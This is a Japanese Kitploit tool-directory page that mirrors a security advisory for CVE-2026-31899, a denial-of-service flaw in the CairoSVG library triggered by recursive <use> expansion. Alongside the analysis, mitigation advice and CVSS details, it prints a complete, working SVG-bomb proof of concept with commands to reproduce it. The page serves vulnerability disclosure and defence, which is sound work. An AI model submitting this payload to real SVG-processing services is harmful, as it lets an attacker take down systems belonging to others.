Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31899 — CVE-2026-31899: CairoSVGにおける再帰的<use>要素増幅による指数関数的DoS (CVSS 7.5 High) | Kitploit
ツール/GitHubGitHub/snailsploit/cve-2026-31899
脆弱性分析エクスプロイトウェブセキュリティ論文と研究学習と教育
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: CairoSVGにおける再帰的<use>要素増幅による指数関数的DoS (CVSS 7.5 High)

リポジトリを見る
14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31899: CairoSVG の再帰的 要素増幅による指数関数的 DoS

CVE CVSS Score Python Package CWE-400 GHSA

キーワード: CVE-2026-31899、CairoSVG、指数関数的 DoS、SVG 爆弾、再帰的 use 要素、サービス妨害、XML 増幅、Python SVG の脆弱性、CWE-400、制御不能なリソース消費、billion laughs SVG

目次

  • 概要
  • 脆弱性の詳細
  • 技術的分析
  • 概念実証
  • 影響
  • 対策
  • CVSS メトリクス
  • 参照
  • 連絡先
  • 概要

    CairoSVG における指数関数的サービス妨害(DoS)(CVE-2026-31899) — わずか 1,411 バイトの SVG ペイロードが、再帰的な 要素増幅により CPU を 100% に固定したまま無期限に占有し続けます。

    CairoSVG(週間約 30 万ダウンロード)は、広く使用されている Python 製 SVG → PNG/PDF 変換ライブラリです。cairosvg/defs.py の use() 関数は、 要素を深さや数の制限なしに再帰的に処理します。5 レベルの入れ子で各レベルに 10 個の参照がある場合、小さな SVG は 10^5 = 100,000 回のレンダリング呼び出し を引き起こします — SVG 版「billion laughs」攻撃です。

    発見者: Kai Aizen — SnailSploit 公開日: 2026年3月13日 CVSS スコア: 7.5(高) CWE: CWE-400 — 制御不能なリソース消費 パッケージ: CairoSVG (PyPI) 攻撃種別: 指数関数的サービス妨害(DoS) 必要な権限: なし(未認証)

    脆弱性の詳細

    説明

    cairosvg/defs.py(約 335 行目)の use() 関数は、他の 要素を参照する 要素を再帰的に解決します。再帰の深さの制限も、要素数の上限もありません。攻撃者は、各レイヤーが前のレイヤーを N 回参照する小さな SVG を作成でき、O(depth) の入力から O(N^depth) 回のレンダリング呼び出しを生成できます。

    主な特徴

    • 増幅率: O(N) 行の入力から O(10^N) 回のレンダリング呼び出し
    • メモリ特性: 約 43MB で一定 — OOM キルは発生せず、プロセスは自然終了しない
    • CPU 特性: シングルコアが 100% で無期限に固定
    • ペイロードサイズ: 1,411 バイト

    影響を受けるバージョン

    • 脆弱なバージョン: 2.9.0 未満の全バージョン
    • 修正済み: 2.9.0 以上

    技術的分析

    この脆弱性は、以下の理由で発生します:

    1. defs.py の use() 関数が、各 要素の xlink:href ターゲットを検索して処理する
    2. ターゲット自体が 要素を含むグループである場合、それらの要素が再帰的に展開される
    3. 深さのカウンタや要素数の上限が強制されない
    4. 各レベルで分岐数(例: レベルごとに 10 倍)だけ処理量が乗算される

    5 レベル、分岐数 10 の場合:

    root@kitploit:~
    Level 0: 1 element (root <use>)
    Level 1: 10 elements
    Level 2: 100 elements
    Level 3: 1,000 elements
    Level 4: 10,000 elements
    Level 5: 100,000 render calls
    

    合計: 1,411 バイトの入力から 111,111 回のレンダリング呼び出しが発生します。

    概念実証(PoC)

    SVG ペイロード poc.svg)

    root@kitploit:~
    <?xml version="1.0"?>
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
      <defs>
        <g id="a"><rect width="1" height="1"/></g>
        <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
        <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
        <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
        <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
      </defs>
      <use xlink:href="#e"/>
    </svg>
    

    再現方法

    方法 1 — コマンドライン:

    root@kitploit:~
    timeout 10 cairosvg poc.svg -o test.png
    # Expected: timeout kills the process after 10 seconds (it never completes)
    

    方法 2 — Python:

    root@kitploit:~
    import cairosvg
    import signal
    
    signal.alarm(5)  # Kill after 5 seconds
    try:
        cairosvg.svg2png(bytestring=open("poc.svg").read())
    except:
        print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
    

    影響

    SVG 入力を受け付け、処理に CairoSVG を使用するサービスはすべて影響を受けます:

    攻撃対象例
    サムネイル生成SVG をアップロード → サーバーが PNG に変換
    PDF 生成ドキュメントに埋め込まれた SVG → CairoSVG がレンダリング
    アバター・画像処理ユーザーがアップロードした SVG プロフィール画像
    レポート描画自動レポート内の SVG チャート
    CI/CD パイプラインビルド中に処理される SVG アセット

    1.4KB のペイロードを含む 1 回のリクエストで、メモリ消費を最小限に抑えたまま処理スレッドが無期限に固定されます(救済のための OOM キルは発生しません)。

    対策

    即時修正

    CairoSVG をバージョン 2.9.0 以上にアップグレードしてください:

    root@kitploit:~
    pip install --upgrade CairoSVG>=2.9.0
    

    多層防御

    • SVG 変換エンドポイントに処理タイムアウトを設定する
    • SVG アップロードにサイズ制限を実装する
    • CPU 時間制限付きの分離されたワーカーで SVG 処理をサンドボックス化することを検討する

    CVSS v3.1 メトリクス

    root@kitploit:~
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    
    メトリクス値
    攻撃元指標ネットワーク (AV:N)
    攻撃条件の複雑さ低 (AC:L)
    必要な特権レベル不要 (PR:N)
    ユーザー関与レベル不要 (UI:N)
    スコープ変更なし (S:U)
    機密性への影響なし (C:N)
    完全性への影響なし (I:N)
    可用性への影響高 (A:H)

    タイムライン

    日付イベント
    2026-03-09CVE 予約
    2026-03-13アドバイザリ公開 (GHSA-f38f-5xpm-9r7c)
    2026-03-13修正を含む CairoSVG 2.9.0 をリリース

    参照

    • GHSA-f38f-5xpm-9r7c
    • NVD — CVE-2026-31899
    • PyPI の CairoSVG
    • CWE-400: 制御不能なリソース消費
    • 修正コミット

    連絡先

    Kai Aizen (SnailSploit)

    • Web: snailsploit.com
    • GitHub: @SnailSploit
    • LinkedIn: /in/kaiaizen

    ⚠️ 免責事項: このリポジトリは教育目的および許可されたセキュリティ研究のみを対象としています。この概念実証は、防御側が自らの曝露状況を検証するために提供されています。責任を持って使用してください。


    📚 ドキュメント & 著者

    このプロジェクトの完全なレポート、手法、および関連研究は以下にあります:

    https://snailsploit.com/cves

    作成者: Kai Aizen — 独立系の攻撃的セキュリティ研究者。

    snailsploit.com · 研究 · フレームワーク · GitHub · LinkedIn · ResearchGate · X/Twitter

    同じ攻撃。異なる基盤。

    ツールをダウンロード